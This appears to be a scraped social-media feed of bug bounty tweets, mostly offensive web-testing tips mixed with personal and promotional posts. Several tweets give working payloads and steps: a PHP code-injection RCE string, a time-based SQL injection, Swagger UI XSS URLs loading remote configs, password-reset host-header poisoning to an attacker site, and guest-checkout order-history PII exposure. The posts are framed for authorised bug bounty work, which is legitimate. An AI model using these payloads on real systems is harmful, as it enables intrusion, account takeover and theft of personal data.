Farhan

Just a guy with a laptop ~ Hacker

[Farhan @FaniMalikHack]

There's nothing quite as frustrating as getting a P1 Duplicate :(

#bugbounty

[N$🌟 @__nav1n_]

This is the quickest RCE I've ever gotten.

The app has a popup for multi-selection fields. I intercepted the request, expecting XSS or SQLi, but found that the parameter **_session_name= can be exploited to get an #RCE as a surprise.

Payload: `&**='.print((`id`)).'` #BugBounty

[Farhan @FaniMalikHack]

@TheRoyHunter313 @Hacker0x01 @ryotkak @techyfreakk @iDiablo5 @japzdivino @LamScun @_xploiterr @infosec_au Thanku Brother ❤️

[HackerOne @Hacker0x01]

The 2024 Brand Ambassadors are ready to kick off the year right! 🙌 Thank you to everyone who submitted their applications to the program this year.

Check out the thread below to see our newest ambassadors, and sign up on https://t.co/PQVu5jSIFE to join your local chapter! 🌎

[Jobert Abma @jobertabma]

Roses are team red
Violets are team blue
Perhaps you are team purple
Just know there is a hacker in you

❤️

[Nithin 🦹‍♂️ @thebinarybot]

API hacking is simple, easier to learn and reproduce.

Down below are massive API hacking resources.

PS: You might definitely want to bookmark this and come.

[OffensioX @OffensioX]

We're excited to announce that @Bugcrowd is our Official Sponsor for the AirTech CTF, the Biggest Capture the Flag event by Air University in Collaboration with OffensioX!

If you haven't registered yet, go ahead and register ASAP

Registration Link: https://t.co/9WjhyNRNxM

[Japz (h4nt3rx) 🕷️🏴‍☠️ @japzdivino]

@Hacker0x01 I think it was time for you to review your h1_analysts, a lot of them are ghosting researchers after closing the report as informative, look at this simple SMTP vulnerability that your so-called analyst can't understand.

[Farhan @FaniMalikHack]

Thanks @Hacker0x01 🙏

[Zaira Wasim @ZairaWasimmm]

Kashmir, today but in 2020. #Throwback. 19.01.20. Prayers for good times ♥️

[Cybernetic Research @cybernetic_res]

SQL Injection On **sitemap.xml** endpoint

target[.]com/sitemap.xml?offset=1;SELECT IF((8303>8302),SLEEP(9),2356)#
sleep payload
[1;SELECT IF((8303>8302),SLEEP(9),2356)#] = 9s
Credits:@GodfatherOrwa
#bugbountytips #BugBounty #bugbountytip #bugbounty

[Jayesh Madnani @Jayesh25]

Bug Bounty Tips: 🐛💰 Here's a simple bug bounty tip for shopping site targets that can earn you some serious $$$$.

I've stumbled upon 10+ similar issues on shopping sites that allow guest checkouts 🛒.

Many overlook these issues because they require placing an order 📦. However, some services support cash on delivery 💸 or allow you to place a cheap order and then cancel it for a refund 🔄, making it worth adding to your checklist if other prerequisites are met.

Here's what to look for:

1️⃣ Target app that permits guest orders without creating an account 🕵️‍♂️
2️⃣ Target app doesn't require email verification for new account creation, or you've found an email verification bypass on sign-up 📧🔓

If these prerequisites are met, you can often find target apps with a misconfiguration that lets you access a guest user's order history by creating a new account with the same email used for the guest order.

Here's how it usually goes down:

1️⃣ Place an order on the site as a "Guest" and use the victim's email during checkout, e.g., [email protected] 📩
2️⃣ The victim receives an email with the receipt 📧
3️⃣ As an attacker, sign up using the email [email protected] assuming there's no email verification 🧑‍💻
4️⃣ Navigate to the account's order history page, and you might strike gold 🪙 by finding the previously made orders, leading to Order History and PII leaks 🔍📜

Takeaways: Don't ignore workflows involving payments; you might discover workarounds like cheap payments or cash on delivery 💡💳. Test for unusual flows and be ready for pleasant surprises with some lucrative bounties 💰💎 #BugBounty #CyberSecurity #HackerOne #BugBountyTips #SecurityTips #Bounties #infosecurity

[Farhan @FaniMalikHack]

@Sozejahan No

[m4ll0k @m4ll0k]

How to access to company without being part of it with google oauth, with your gmail account.. [it only works if the company has a misconfiguration!] #bugbountytips #bugbounty

[Jayesh Madnani @Jayesh25]

Quick Wins: If you come across an outdated Swagger instance, always remember to test for XSS vulnerabilities. Try these payloads and earn some quick bounties!

http://example(.)com/swagger-ui/index.html?configUrl=https://jumpy-floor.surge(.)sh/test.json

http://example(.)com/swagger-ui/index.html?url=https://jumpy-floor.surge(.)sh/test.yaml

http://example(.)com/swagger-ui/index.html?configUrl=https://xss.smarpo(.)com/test.json&url=https://jumpy-floor.surge(.)sh/test.yaml

Always try escalating these Issues to an Account takeover to earn a 'High' severity payout.

#EthicalHacking #BugBounty #SecurityTips #Cybersecurity #StaySecure

[Douglas Day @ArchAngelDDay]

100 (very) short bug bounty rules:

[Gareth Heyes \u2028 @garethheyes]

My current fav XSS vector. Works on Chrome & Firefox:

[Farhan @FaniMalikHack]

@bxmbn Diago

Layla

[Jayesh Madnani @Jayesh25]

🤔Question of the day: What are the common vulnerabilities within the "Forgot Password" functionality?

Many users tend to overlook testing the "Forgot Password" feature of a target app. However, these functions are often susceptible to various issues. If exploited, these issues can lead to an account takeover, yielding bounties ranging from $750 to $7500, depending on the program.

Here are the common issues you should be on the lookout for:

1️⃣ Token and username parameter: Some target apps often generate a password reset link containing a token and a username parameter. In such cases, request a password reset link on your attacker account, navigate to it, and attempt to replace the "username" parameter with the victim's username. Try resetting the password using your token. This is frequently one of the most common issues I've encountered that leads to an Account Takeover (ATO).

2️⃣ Password reset poisoning: Request a password reset using the victim's account and alter the "Host" header of the request to https://attackercontrolledsite(.)com. If the target app is vulnerable, this will trigger an email to the victim with a password link pointing to your server (e.g., https://attackercontrolledsite(.)com?token=dsksdjsdjsdjdsjdsjsd. When the victim clicks on this link, you will receive the password reset token, paving the way for an ATO.

3️⃣ HTTP Parameter Pollution: When requesting a password reset, always attempt to pass multiple email parameters (e.g., email=victim@target(.)com&email=attacker@target(.)com). Depending on how the application's backend is set up, it may have different routines running on various servers to check validity and send emails. Consequently, it could inadvertently send the password reset link of victim@target(.)com to attacker@target(.)com.

4️⃣ None of the above worked? Fret not! We have many more scenarios that can be exploited, and we'll discuss them in our future tweets.

Takeaways: Never underestimate the importance of the password reset functionality, as issues in these areas can lead to lucrative payouts. Be creative and make sure to add these items to your checklist.

#CyberSecurityTips #SecurityTips #BugBountyTips #InfoSec #HackerOne #BugCrowd #portswigger #burpsuite

[Frans Rosén @fransrosen]

I often export proxy items from Burp to extract certain data. Example: filter out all response headers where request param is X, get a list of all response params for custom wordlist creation etc. I built this tool to make it do what I want: https://t.co/KH4ZYsw5Xc

[Nicolas Grégoire @Agarri_FR]

It’s so bad that I wrote a thread 🧵 ⤵️